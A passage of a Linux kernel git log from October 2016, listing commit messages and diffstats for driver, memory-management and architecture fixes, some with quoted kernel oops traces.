Signed-off-by: Michael Ellerman Documentation/ABI/testing/sysfs-class-cxl | 7 ++++-- drivers/misc/cxl/api.c | 9 +++++++ drivers/misc/cxl/context.c | 3 +++ drivers/misc/cxl/cxl.h | 24 ++++++++++++++++++ drivers/misc/cxl/file.c | 11 ++++++++ drivers/misc/cxl/guest.c | 3 +++ drivers/misc/cxl/main.c | 42 ++++++++++++++++++++++++++++++- drivers/misc/cxl/pci.c | 2 ++ drivers/misc/cxl/sysfs.c | 27 +++++++++++++++++--- 9 files changed, 121 insertions(+), 7 deletions(-) commit 65bc3ece84ef6340cbd80eec10ab9be3426e1149 Author: Heiner Kallweit Date: Wed Oct 12 21:00:43 2016 +0200 powerpc/boot: Fix boot on systems with uncompressed kernel image This commit broke boot on systems with an uncompressed kernel image, namely systems using a cuImage. On such systems the compressed boot image (boot wrapper, uncompressed kernel image, ..) is decompressed by u-boot already, therefore the boot wrapper code sees an uncompressed kernel image. The old decompression code silently assumed an uncompressed kernel image if it found no valid gzip signature, whilst the new code bailed out in this case. Fix this by re-introducing such a fallback if no valid compressed image is found. Fixes: 1b7898ee276b ("Use the pre-boot decompression API") Signed-off-by: Heiner Kallweit Signed-off-by: Michael Ellerman arch/powerpc/boot/main.c | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) commit d2cf909cda5f8c5609cb7ed6cda816c3e15528c7 Author: Frederic Barrat Date: Fri Jun 17 18:53:28 2016 +0200 powerpc/mm: Prevent unlikely crash in copro_calculate_slb() If a cxl adapter faults on an invalid address for a kernel context, we may enter copro_calculate_slb() with a NULL mm pointer (kernel context) and an effective address which looks like a user address. Which will cause a crash when dereferencing mm. It is clearly an AFU bug, but there's no reason to crash either. So return an error, so that cxl can ack the interrupt with an address error. Fixes: 73d16a6e0e51 ("powerpc/cell: Move data segment faulting code out of cell platform") Cc: stable@vger.kernel.org # v3.18+ Signed-off-by: Frederic Barrat Acked-by: Ian Munsie Signed-off-by: Michael Ellerman arch/powerpc/mm/copro_fault.c | 2 ++ 1 file changed, 2 insertions(+) commit 6127d124ee4eb9c39983813cc9803f3654ab7e16 Author: Russell King Date: Tue Oct 18 21:46:18 2016 +0100 ARM: wire up new pkey syscalls Wire up the new pkey syscalls for ARM. Signed-off-by: Russell King arch/arm/include/asm/unistd.h | 2 +- arch/arm/include/uapi/asm/unistd.h | 3 +++ arch/arm/kernel/calls.S | 3 +++ 3 files changed, 7 insertions(+), 1 deletion(-) commit 04946fb60fb157faafa01658dff3131d49f49ccb Author: Russell King Date: Tue Oct 18 10:24:49 2016 +0100 ARM: fix oops when using older ARMv4T CPUs Alexander Shiyan reports that CLPS711x fails at boot time in the data exception handler due to a NULL pointer dereference. This is caused by the late-v4t abort handler overwriting R9 (which becomes zero). Fix this by making the abort handler save and restore R9. Unable to handle kernel NULL pointer dereference at virtual address 00000008 pgd = c3b58000 [00000008] *pgd=800000000, *pte=00000000, *ppte=feff4140 Internal error: Oops: 63c11817 [#1] PREEMPT ARM CPU: 0 PID: 448 Comm: ash Not tainted 4.8.1+ #1 Hardware name: Cirrus Logic CLPS711X (Device Tree Support) task: c39e03a0 ti: c3b4e000 task.ti: c3b4e000 PC is at __dabt_svc+0x4c/0x60 LR is at do_page_fault+0x144/0x2ac pc : [] lr : [] psr: 60000093 sp : c3b4fe6c ip : 00000001 fp : b6f1bf88 r10: c387a5a0 r9 : 00000000 r8 : e4e0e001 r7 : bee3ef83 r6 : 00100000 r5 : 80000013 r4 : c022fcf8 r3 : 00000000 r2 : 00000008 r1 : bf000000 r0 : 00000000 Flags: nZCv IRQs off FIQs on Mode SVC_32 ISA ARM Segment user Control: 0000217f Table: c3b58055 DAC: 00000055 Process ash (pid: 448, stack limit = 0xc3b4e190) Stack: (0xc3b4fe6c to 0xc3b50000) fe60: bee3ef83 c05168d1 ffffffff 00000000 c3adfe80 fe80: c3a03300 00000000 c3b4fed0 c3a03400 bee3ef83 c387a5a0 b6f1bf88 00000001 fea0: c3b4febc 00000076 c022fcf8 80000013 ffffffff 0000003f bf000000 bee3ef83 fec0: 00000004 00000000 c3adfe80 c00e432c 00000812 00000005 00000001 00000006 fee0: b6f1b000 00000000 00010000 0003c944 0004d000 0004d439 00010000 b6f1b000 ff00: 00000005 00000000 00015ecc c3b4fed0 0000000a 00000000 00000000 c00a1dc0 ff20: befff000 c3a03300 c3b4e000 c0507cd8 c0508024 fffffff8 c3a03300 00000000 ff40: c0516a58 c00a35bc c39e03a0 000001c0 bea84ce8 0004e008 c3b3a000 c00a3ac0 ff60: c3b40374 c3b3a000 bea84d11 00000000 c0500188 bea84d11 bea84ce8 00000001 ff80: 0000000b c000a304 c3b4e000 00000000 bea84ce4 c00a3cd0 00000000 bea84d11 ffa0: bea84ce8 c000a160 bea84d11 bea84ce8 bea84d11 bea84ce8 0004e008 0004d450 ffc0: bea84d11 bea84ce8 00000001 0000000b b6f45ee4 00000000 b6f5ff70 bea84ce4 ffe0: b6f2f130 bea84cb0 b6f2f194 b6ef29f4 a0000010 bea84d11 02c7cffa 02c7cffd [] (__dabt_svc) from [] (__copy_to_user_std+0xf8/0x330) [] (__copy_to_user_std) from [] +(load_elf_binary+0x920/0x107c) [] (load_elf_binary) from [] +(search_binary_handler+0x80/0x16c) [] (search_binary_handler) from [] +(do_execveat_common+0x418/0x600) [] (do_execveat_common) from [] (do_execve+0x28/0x30) [] (do_execve) from [] (ret_fast_syscall+0x0/0x30) Code: e1a0200d eb00136b e321f093 e59d104c (e5891008) ---[ end trace 4b4f8086ebef98c5 ]--- Fixes: e6978e4bf181 ("ARM: save and reset the address limit when entering an exception") Reported-by: Alexander Shiyan Tested-by: Alexander Shiyan Signed-off-by: Russell King arch/arm/mm/abort-lv4t.S | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) commit 5a143db8c4a28dab6423cb6197e9f1389da375f2 Author: Luca Coelho Date: Wed Oct 5 09:28:53 2016 +0300 iwlwifi: mvm: fix netdetect starting/stopping for unified images With unified images, we need to make sure the net-detect scan is stopped after resuming, since we don't restart the FW. Also, we need to make sure we check if there are enough scan slots available to run it, as we do with other scans. Fixes: commit 23ae61282b88 ("iwlwifi: mvm: Do not switch to D3 image on suspend") Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/d3.c | 19 +++++++++++++++ drivers/net/wireless/intel/iwlwifi/mvm/scan.c | 33 ++++++++++++++++++++++----- 2 files changed, 46 insertions(+), 6 deletions(-) commit e0d9727c111a5917a1184c71c1a8e6f78c7fc41d Author: Luca Coelho Date: Thu Oct 13 10:07:07 2016 +0300 iwlwifi: pcie: fix SPLC structure parsing The SPLC data parsing is too restrictive and was not trying find the correct element for WiFi. This causes problems with some BIOSes where the SPLC method exists, but doesn't have a WiFi entry on the first element of the list. The domain type values are also incorrect according to the specification. Fix this by complying with the actual specification. Additionally, replace all occurrences of SPLX to SPLC, since SPLX is only a structure internal to the ACPI tables, and may not even exist. Fixes: bcb079a14d75 ("iwlwifi: pcie: retrieve and parse ACPI power limitations") Reported-by: Chris Rorvick Tested-by: Paul Bolle Tested-by: Chris Rorvick Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 79 ++++++++++++++++----------- 1 file changed, 48 insertions(+), 31 deletions(-) commit a3a0673b9db6fad2a3f7874c34e4b5cbc5fa01c6 Author: LABBE Corentin Date: Tue Oct 18 16:39:54 2016 +0200 rtc: cmos: remove all __exit_p annotations I got the following stack trace under qemu: [ 7.575243] BUG: unable to handle kernel NULL pointer dereference at 0000000000000010 [ 7.596098] IP: [] cmos_set_alarm+0x38/0x280 [ 7.615699] PGD 3ccbe067 [ 7.615923] PUD 3daf2067 [ 7.635156] PMD 0 [ 7.654358] Oops: 0000 [#1] SMP [ 7.673869] Modules linked in: [ 7.693235] CPU: 0 PID: 1701 Comm: hwclock Tainted: G W 4.9.0-rc1+ #24 [ 7.712455] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.9.3-0-ge2fc41e-prebuilt.qemu-project.org 04/01/2014 [ 7.753569] task: ffff88003d88dc40 task.stack: ffffc90000224000 [ 7.773743] RIP: 0010:[] [] cmos_set_alarm+0x38/0x280 [ 7.794893] RSP: 0018:ffffc90000227c10 EFLAGS: 00010296 [ 7.815890] RAX: 000000000000001d RBX: ffffc90000227d28 RCX: ffffffff8182be78 [ 7.836057] RDX: 0000000000000001 RSI: 0000000000000202 RDI: 0000000000000202 [ 7.856612] RBP: ffffc90000227c48 R08: 0000000000000000 R09: 0000000000000001 [ 7.877561] R10: 00000000000001c0 R11: 00000000000001c0 R12: 0000000000000000 [ 7.897072] R13: ffff88003d96f400 R14: ffff88003dac6410 R15: ffff88003dac6420 [ 7.917403] FS: 00007f77f42d9700(0000) GS:ffff88003fc00000(0000) knlGS:0000000000000000 [ 7.938293] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 7.958364] CR2: 0000000000000010 CR3: 000000003ccbb000 CR4: 00000000000006f0 [ 7.978028] Stack: [ 7.997120] ffff88003dac6000 ffff88003dac6410 0000000058049d01 ffffc90000227d28 [ 8.016993] ffff88003dac6000 ffff88003dac6410 ffff88003dac6420 ffffc90000227c98 [ 8.039505] ffffffff814f225d 0000001800227c98 000000090000002a 0000000900000011 [ 8.059985] Call Trace: [ 8.080110] [] __rtc_set_alarm+0x8d/0xa0 [ 8.099421] [] rtc_timer_enqueue+0x119/0x190 [ 8.119925] [] rtc_update_irq_enable+0xbe/0x100 [ 8.140583] [] rtc_dev_ioctl+0x3c0/0x480 [ 8.161162] [] ? user_path_at_empty+0x3a/0x50 [ 8.182717] [] do_vfs_ioctl+0x96/0x5c0 [ 8.204624] [] ? vfs_stat+0x16/0x20 [ 8.225994] [] ? SyS_newstat+0x15/0x30 [ 8.247043] [] SyS_ioctl+0x47/0x80 [ 8.267191] [] entry_SYSCALL_64_fastpath+0x1a/0xa9 [ 8.288719] Code: 6a 81 48 89 e5 41 57 41 56 41 55 49 89 fd 41 54 53 48 89 f3 48 c7 c6 20 c4 78 81 48 83 ec 10 e8 8f 00 ef ff 4d 8b a5 a0 00 00 00 <41> 8b 44 24 10 85 c0 0f 8e 2b 02 00 00 4c 89 ef 31 c0 b9 53 01 [ 8.335233] RIP [] cmos_set_alarm+0x38/0x280 [ 8.357096] RSP [ 8.379051] CR2: 0000000000000010 [ 8.401736] ---[ end trace 5cbcd83a1f225ed3 ]--- This occur only when CONFIG_DEBUG_TEST_DRIVER_REMOVE is enabled and CONFIG_RTC_DRV_CMOS builtin. When cmos_set_alarm() is called dev is NULL and so trigger the deref via cmos->irq The problem comes from that the device is removed but no remove function are called due to _exit_p(). This patch remove all _exit_p() annotation. Signed-off-by: Corentin Labbe Signed-off-by: Alexandre Belloni drivers/rtc/rtc-cmos.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit aa156c8aee22a24865bf94d0c4a5f604f687fa7d Author: Javier Martinez Canillas Date: Fri Oct 14 10:15:35 2016 -0300 rtc: asm9260: fix module autoload If the driver is built as a module, autoload won't work because the module alias information is not filled so user-space can't match the registered device with the corresponding module. Export the module alias information using the MODULE_DEVICE_TABLE() macro. Before this patch: $ modinfo drivers/rtc/rtc-asm9260.ko | grep alias $ After this patch: $ modinfo drivers/rtc/rtc-asm9260.ko | grep alias alias: of:N*T*Calphascale,asm9260-rtcC* alias: of:N*T*Calphascale,asm9260-rtc Signed-off-by: Javier Martinez Canillas Signed-off-by: Alexandre Belloni drivers/rtc/rtc-asm9260.c | 1 + 1 file changed, 1 insertion(+) commit 3a732c65de427fdae67a243fd331356034b5a1e8 Author: Sara Sharon Date: Sun Oct 9 17:34:24 2016 +0300 iwlwifi: mvm: wake the wait queue when the RX sync counter is zero When we sync the RX queues the driver waits to receive echo notification on all the RX queues. The wait queue is set with timeout until all queues have received the notification. However, iwl_mvm_rx_queue_notif() never woke up the wait queue, with the result of the counter value being checked only when the timeout expired. This may cause a latency of up to 1 second. Fixes: 0636b938214c ("iwlwifi: mvm: implement driver RX queues sync command") Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/mac80211.c | 3 +-- drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 1 + drivers/net/wireless/intel/iwlwifi/mvm/ops.c | 1 + drivers/net/wireless/intel/iwlwifi/mvm/rxmq.c | 3 ++- 4 files changed, 5 insertions(+), 3 deletions(-) commit 5bfadc8255e2cd92be7538fd7dfa777c27f58be0 Author: Haim Dreyfuss Date: Mon Sep 12 10:24:19 2016 +0300 iwlwifi: mvm: comply with fw_restart mod param on suspend If the suspend flow fails, we restart the hardware to go back to the D0 image (with non-unified images), but we don't comply with the fw_restart module parameter. If something goes wrong when starting the D3 image, we may want to debug it, so we should comply with the fw_restart flag to avoid clearing everything up and losing the firmware state when the error occurred. Signed-off-by: Haim Dreyfuss Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/d3.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit 85cd69b8f1f7e289fe931a82889e673fd0f04842 Author: Luca Coelho Date: Wed Oct 5 11:24:12 2016 +0300 iwlwifi: mvm: fix d3_test with unified D0/D3 images When a unified D0/D3 image is used, we don't restart the FW in the D0->D3->D0 transitions. Therefore, the d3_test functionality should not call ieee8021_restart_hw() when the resuming either. Fixes: commit 23ae61282b88 ("iwlwifi: mvm: Do not switch to D3 image on suspend") Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/d3.c | 25 +++++++++++++++---------- 1 file changed, 15 insertions(+), 10 deletions(-) commit 276c4b4b74b6d5bc3cab35534409f3ad32464b78 Author: Luca Coelho Date: Wed Sep 28 11:32:35 2016 +0300 iwlwifi: mvm: use ssize_t for len in iwl_debugfs_mem_read() In iwl_dbgfs_mem_read(), the len variable may become negative and is compared to < 0 (an error case). Comparing size_t (which is unsigned) to < 0 causes a warning on certain platforms (like i386): drivers/net/wireless/intel/iwlwifi/mvm/debugfs.c:1561:5-8: WARNING: Unsigned expression compared with zero: len < 0 To prevent that, use ssize_t for len instead. Fixes: commit 2b55f43f8e47 ("iwlwifi: mvm: Add mem debugfs entry") Reported-by: kbuild test robot Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/debugfs.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit faead41cc7213ccef5a58c1bf518ac24816fe8a6 Author: Johannes Berg Date: Thu Sep 22 10:31:41 2016 +0200 iwlwifi: pcie: mark command queue lock with separate lockdep class Emmanuel reports that when CMD_WANT_ASYNC_CALLBACK is used by mvm, the callback will be called with the command queue lock held, and mvm will try to stop all (other) TX queues, which acquires their locks - this caused a false lockdep recursive locking report. Suppress this report by marking the command queue lock with a new, separate, lock class so lockdep can tell the difference between the two types of queues. Fixes: 156f92f2b471 ("iwlwifi: block the queues when we send ADD_STA for uAPSD") Reported-by: Emmanuel Grumbach Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 6d4952d9d9d4dc2bb9c0255d95a09405a1e958f7 Author: Andrew Lutomirski Date: Mon Oct 17 10:06:27 2016 -0700 hwrng: core - Don't use a stack buffer in add_early_randomness() hw_random carefully avoids using a stack buffer except in add_early_randomness(). This causes a crash in virtio_rng if CONFIG_VMAP_STACK=y. Reported-by: Matt Mullins Tested-by: Matt Mullins Fixes: d3cc7996473a ("hwrng: fetch randomness only after device init") Signed-off-by: Andy Lutomirski Signed-off-by: Herbert Xu drivers/char/hw_random/core.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0d2200794f0a2c1ebb3b6613842914d8ce4b67f9 Author: Junzhi Zhao Date: Thu Sep 29 11:02:15 2016 +0800 drm/mediatek: modify the factor to make the pll_rate set in the 1G-2G range Currently, the code sets the "pll" to the desired multiple of the pixel clock manully(4*3m 8*3,etc). The valid range of the pll is 1G-2G, however, when the pixel clock is bigger than 167MHz, the "pll" will be set to a invalid value( > 2G), then the "pll" will be 2GHz, thus the pixel clock will be in correct. Change the factor to make the "pll" be set in the (1G, 2G) range. Signed-off-by: Junzhi Zhao Signed-off-by: Bibby Hsieh drivers/gpu/drm/mediatek/mtk_dpi.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 968253bd7caae5621f6806dd5055353fe33d366e Author: Junzhi Zhao Date: Thu Sep 29 11:02:14 2016 +0800 drm/mediatek: enhance the HDMI driving current In order to improve 4K resolution performance, we have to enhance the HDMI driving current when clock rate is greater than 165MHz. Signed-off-by: Junzhi Zhao Signed-off-by: Bibby Hsieh drivers/gpu/drm/mediatek/mtk_mt8173_hdmi_phy.c | 42 ++++++++++++++++++-------- 1 file changed, 30 insertions(+), 12 deletions(-) commit d542b7c473f0eb34455974d66ea93653b3eb40ce Author: Junzhi Zhao Date: Thu Sep 29 11:02:13 2016 +0800 drm/mediatek: do mtk_hdmi_send_infoframe after HDMI clock enable The mtk_hdmi_send_infoframe have to be run after PLL and PIXEL clock of HDMI enable. Make sure that HDMI inforframes can be sent successfully. Signed-off-by: Junzhi Zhao Signed-off-by: Bibby Hsieh drivers/gpu/drm/mediatek/mtk_hdmi.c | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) commit 56e4b1e183555c74097fa012f1606b22223f027b Author: Bibby Hsieh Date: Thu Sep 29 11:29:49 2016 +0800 drm/mediatek: clear IRQ status before enable OVL interrupt To make sure that the first vblank IRQ after enabling vblank isn't too short or immediate, we have to clear the IRQ status before enable OVL interrupt. Signed-off-by: Bibby Hsieh Acked-by: CK Hu drivers/gpu/drm/mediatek/mtk_disp_ovl.c | 1 + 1 file changed, 1 insertion(+) commit f752fff611b99f5679224f3990a1f531ea64b1ec Author: Bibby Hsieh Date: Thu Sep 29 11:29:48 2016 +0800 drm/mediatek: set vblank_disable_allowed to true MTK DRM driver didn't set the vblank_disable_allowed to true, it cause that the irq_handler is called every 16.6 ms (every vblank) when the display didn't be updated. Signed-off-by: Bibby Hsieh Acked-by: CK Hu drivers/gpu/drm/mediatek/mtk_drm_drv.c | 1 + 1 file changed, 1 insertion(+) commit 83ba62bc700bab710b22be3a1bf6cf973f754273 Author: Bibby Hsieh Date: Tue Oct 18 16:23:59 2016 +0800 drm/mediatek: fix a typo of OD_CFG to OD_RELAYMODE If we want to set the hardware OD to relay mode, we have to set OD_CFG register rather than OD_RELAYMODE; otherwise, the system will access the wrong address. Fixes: 7216436420414144646f5d8343d061355fd23483 ("drm/mediatek: set mt8173 dithering function") Cc: stable@vger.kernel.org # v4.9+ Signed-off-by: Bibby Hsieh Acked-by: CK Hu drivers/gpu/drm/mediatek/mtk_drm_ddp_comp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d852b5f35e84e60c930589eeb14a6df21ea9b1cb Author: James Hogan Date: Wed Oct 19 00:24:27 2016 +0100 KVM: MIPS: Add missing uaccess.h include MIPS KVM uses user memory accessors but mips.c doesn't directly include uaccess.h, so include it now. This wasn't too much of a problem before v4.9-rc1 as asm/module.h included asm/uaccess.h, however since commit 29abfbd9cbba ("mips: separate extable.h, switch module.h to it") this is no longer the case. This resulted in build failures when trace points were disabled, as trace/define_trace.h includes trace/trace_events.h only ifdef TRACEPOINTS_ENABLED, which goes on to include asm/uaccess.h via a couple of other headers. Fixes: 29abfbd9cbba ("mips: separate extable.h, switch module.h to it") Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org arch/mips/kvm/mips.c | 1 + 1 file changed, 1 insertion(+) commit 99f453f875a5e207f38e92ced6ce3427433d5be2 Author: Rich Felker Date: Tue Oct 18 18:54:56 2016 -0400 sh: add earlycon support to j2_defconfig Signed-off-by: Rich Felker arch/sh/configs/j2_defconfig | 1 + 1 file changed, 1 insertion(+) commit db766b0a25c9520b7c585bcdb2725dcc0e490f4a Author: Rich Felker Date: Thu Oct 13 15:51:47 2016 -0400 sh: add Kconfig option for J-Core SoC core drivers Signed-off-by: Rich Felker arch/sh/boards/Kconfig | 10 ++++++++++ arch/sh/configs/j2_defconfig | 1 + 2 files changed, 11 insertions(+) commit 1a1891d762d6e64daf07b5be4817e3fbb29e3c59 Merge: 0832881 de0dcc4 Author: Linus Torvalds Date: Tue Oct 18 14:15:23 2016 -0700 Merge tag 'for-f2fs-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/jaegeuk/f2fs Pull f2fs bugfix from Jaegeuk Kim: "This fixes a bug which referenced the wrong pointer, sum_page, in f2fs_gc. It was newly introduced in 4.9-rc1. * tag 'for-f2fs-4.9-rc2' of git://git.kernel.org/pub/scm/linux/kernel/git/jaegeuk/f2fs: f2fs: fix wrong sum_page pointer in f2fs_gc commit c164154f66f0c9b02673f07aa4f044f1d9c70274 Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:13 2016 +0100 mm: replace get_user_pages_unlocked() write/force parameters with gup_flags This removes the 'write' and 'force' use from get_user_pages_unlocked() and replaces them with 'gup_flags' to make the use of FOLL_FORCE explicit in callers as use of this flag can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Reviewed-by: Jan Kara Acked-by: Michal Hocko Signed-off-by: Linus Torvalds arch/mips/mm/gup.c | 2 +- arch/s390/mm/gup.c | 3 ++- arch/sh/mm/gup.c | 3 ++- arch/sparc/mm/gup.c | 3 ++- arch/x86/mm/gup.c | 2 +- drivers/media/pci/ivtv/ivtv-udma.c | 4 ++-- drivers/media/pci/ivtv/ivtv-yuv.c | 5 +++-- drivers/scsi/st.c | 5 ++--- drivers/video/fbdev/pvr2fb.c | 4 ++-- include/linux/mm.h | 2 +- mm/gup.c | 14 ++++---------- mm/nommu.c | 11 ++--------- mm/util.c | 3 ++- net/ceph/pagevec.c | 2 +- 14 files changed, 27 insertions(+), 36 deletions(-) commit d4944b0ecec0af882483fe44b66729316e575208 Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:12 2016 +0100 mm: remove write/force parameters from __get_user_pages_unlocked() This removes the redundant 'write' and 'force' parameters from __get_user_pages_unlocked() to make the use of FOLL_FORCE explicit in callers as use of this flag can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Acked-by: Paolo Bonzini Reviewed-by: Jan Kara Acked-by: Michal Hocko Signed-off-by: Linus Torvalds include/linux/mm.h | 3 +-- mm/gup.c | 17 +++++++++-------- mm/nommu.c | 12 +++++++++--- mm/process_vm_access.c | 7 +++++-- virt/kvm/async_pf.c | 3 ++- virt/kvm/kvm_main.c | 11 ++++++++--- 6 files changed, 34 insertions(+), 19 deletions(-) commit 859110d7497cdd0e6b21010d6f777049d676382c Author: Lorenzo Stoakes Date: Thu Oct 13 01:20:11 2016 +0100 mm: remove write/force parameters from __get_user_pages_locked() This removes the redundant 'write' and 'force' parameters from __get_user_pages_locked() to make the use of FOLL_FORCE explicit in callers as use of this flag can result in surprising behaviour (and hence bugs) within the mm subsystem. Signed-off-by: Lorenzo Stoakes Reviewed-by: Jan Kara Acked-by: Michal Hocko Signed-off-by: Linus Torvalds mm/gup.c | 47 +++++++++++++++++++++++++++++++++-------------- 1 file changed, 33 insertions(+), 14 deletions(-) commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 Author: Linus Torvalds Date: Thu Oct 13 13:07:36 2016 -0700 mm: remove gup_flags FOLL_WRITE games from __get_user_pages() This is an ancient bug that was actually attempted to be fixed once (badly) by me eleven years ago in commit 4ceb5db9757a ("Fix get_user_pages() race for write access") but that was then undone due to problems on s390 by commit f33ea7f404e5 ("fix get_user_pages bug"). In the meantime, the s390 situation has long been fixed, and we can now fix it by checking the pte_dirty() bit properly (and do it better). The s390 dirty bit was implemented in abf09bed3cce ("s390/mm: implement software dirty bits") which made it into v3.9. Earlier kernels will have to look at the page state itself. Also, the VM has become more scalable, and what used a purely theoretical race back then has become easier to trigger. To fix it, we introduce a new internal FOLL_COW flag to mark the "yes, we already did a COW" rather than play racy games with FOLL_WRITE that is very fundamental, and then use the pte dirty flag to validate that the FOLL_COW flag is still valid. Reported-and-tested-by: Phil "not Paul" Oester Acked-by: Hugh Dickins Reviewed-by: Michal Hocko Cc: Andy Lutomirski Cc: Kees Cook Cc: Oleg Nesterov Cc: Willy Tarreau Cc: Nick Piggin Cc: Greg Thelen Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds include/linux/mm.h | 1 + mm/gup.c | 14 ++++++++++++-- 2 files changed, 13 insertions(+), 2 deletions(-) commit b4f0fd4baa90ecce798e0d26d1cce8f4457f2028 Author: Wei Yongjun Date: Mon Oct 17 15:17:51 2016 +0000 qed: Use list_move_tail instead of list_del/list_add_tail Using list_move_tail() instead of list_del() + list_add_tail(). Signed-off-by: Wei Yongjun Acked-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qed/qed_ll2.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit ecf244f753e09486707843f2b7b1874f33027038 Author: Arnd Bergmann Date: Tue Oct 18 00:16:15 2016 +0200 rocker: fix maybe-uninitialized warning In some rare configurations, we get a warning about the 'index' variable being used without an initialization: drivers/net/ethernet/rocker/rocker_ofdpa.c: In function ‘ofdpa_port_fib_ipv4.isra.16.constprop’: drivers/net/ethernet/rocker/rocker_ofdpa.c:2425:92: warning: ‘index’ may be used uninitialized in this function [-Wmaybe-uninitialized] This is a false positive, the logic is just a bit too complex for gcc to follow here. Moving the intialization of 'index' a little further down makes it clear to gcc that the function always returns an error if it is not initialized. Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/net/ethernet/rocker/rocker_ofdpa.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 52ccd6318481a467d8ad54ea40f60c61e957d58f Author: Arnd Bergmann Date: Tue Oct 18 00:16:09 2016 +0200 net/hyperv: avoid uninitialized variable The hdr_offset variable is only if we deal with a TCP or UDP packet, but as the check surrounding its usage tests for skb_is_gso() instead, the compiler has no idea if the variable is initialized or not at that point: drivers/net/hyperv/netvsc_drv.c: In function ‘netvsc_start_xmit’: drivers/net/hyperv/netvsc_drv.c:494:42: error: ‘hdr_offset’ may be used uninitialized in this function [-Werror=maybe-uninitialized] This adds an additional check for the transport type, which tells the compiler that this path cannot happen. Since the get_net_transport_info() function should always be inlined here, I don't expect this to result in additional runtime checks. Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/net/hyperv/netvsc_drv.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4b75ca5a7a9e01dda3ea70bc17b1826fd679af61 Author: Arnd Bergmann Date: Tue Oct 18 00:16:08 2016 +0200 net: bcm63xx: avoid referencing uninitialized variable gcc found a reference to an uninitialized variable in the error handling of bcm_enet_open, introduced by a recent cleanup: drivers/net/ethernet/broadcom/bcm63xx_enet.c: In function 'bcm_enet_open' drivers/net/ethernet/broadcom/bcm63xx_enet.c:1129:2: warning: 'phydev' may be used uninitialized in this function [-Wmaybe-uninitialized] This makes the use of that variable conditional, so we only reference it here after it has been used before. Unlike my normal patches, I have not build-tested this one, as I don't currently have mips test in my randconfig setup. Fixes: 625eb8667d6f ("net: ethernet: broadcom: bcm63xx: use phydev from struct net_device") Cc: Philippe Reynes Reported-by: kbuild test robot Signed-off-by: Arnd Bergmann Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bcm63xx_enet.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 41ee9c557ef5de992843b6dac35a199e651525cf Author: Eric Dumazet Date: Mon Oct 17 14:22:48 2016 -0700 soreuseport: do not export reuseport_add_sock() reuseport_add_sock() is not used from a module, no need to export it. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller net/core/sock_reuseport.c | 1 - 1 file changed, 1 deletion(-) commit 87737f8810db445db171ca81ca4cc43bd5b067ce Author: Thomas Falcon Date: Mon Oct 17 15:28:10 2016 -0500 ibmvnic: Update MTU after device initialization It is possible for the MTU to be changed during the initialization process with the VNIC Server. Ensure that the net device is updated to reflect the new MTU. Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 2 ++ 1 file changed, 2 insertions(+) commit 12608c260d2fe36746508cb4fa20b6e9a5f9c241 Author: Thomas Falcon Date: Mon Oct 17 15:28:09 2016 -0500 ibmvnic: Fix GFP_KERNEL allocation in interrupt context Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9fa2f2cca21b14d17b1c1a37babb639a48a5a29f Author: Thomas Falcon Date: Mon Oct 17 15:56:29 2016 -0500 ibmvnic: Driver Version 1.0.1 Increment driver version to reflect features that have been added since release. Signed-off-by: Thomas Falcon Signed-off-by: David S. Miller drivers/net/ethernet/ibm/ibmvnic.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7c6273194445fe1316084d3096f9311c3dfa4da6 Author: Shawn Lin Date: Tue Oct 18 20:52:28 2016 +0800 arm64: dts: rockchip: remove the abuse of keep-power-in-suspend It was invented for sdio only, and should not be used for sdmmc or emmc. Remove it. Signed-off-by: Shawn Lin Signed-off-by: Heiko Stuebner arch/arm64/boot/dts/rockchip/rk3368-geekbox.dts | 1 - arch/arm64/boot/dts/rockchip/rk3368-orion-r68-meta.dts | 2 -- 2 files changed, 3 deletions(-) commit 937fa62e8a00d0b4bc2c0a40567d7c88ab2b2e8d 